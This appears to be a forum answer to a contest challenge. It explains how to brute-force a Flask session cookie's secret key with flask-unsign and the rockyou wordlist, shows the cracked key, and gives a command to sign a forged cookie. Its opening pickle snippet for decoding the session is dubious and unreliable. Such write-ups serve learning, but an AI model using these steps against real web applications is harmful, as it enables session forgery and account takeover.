You can decode the data with pickle. Pickle is part of the Python standard library.

import pickle

with open("PATH/TO/SESSION/FILE") as f:
    data = pickle.load(f)

As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.

That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.

You can install it via pip by using the following command:

pip3 install flask-unsign

but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz

• -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
• -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.

Now you can perform the brute force attack using the following command:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   

• The --no-literal-eval argument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.

and find the secret key after a few thousand attempts:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'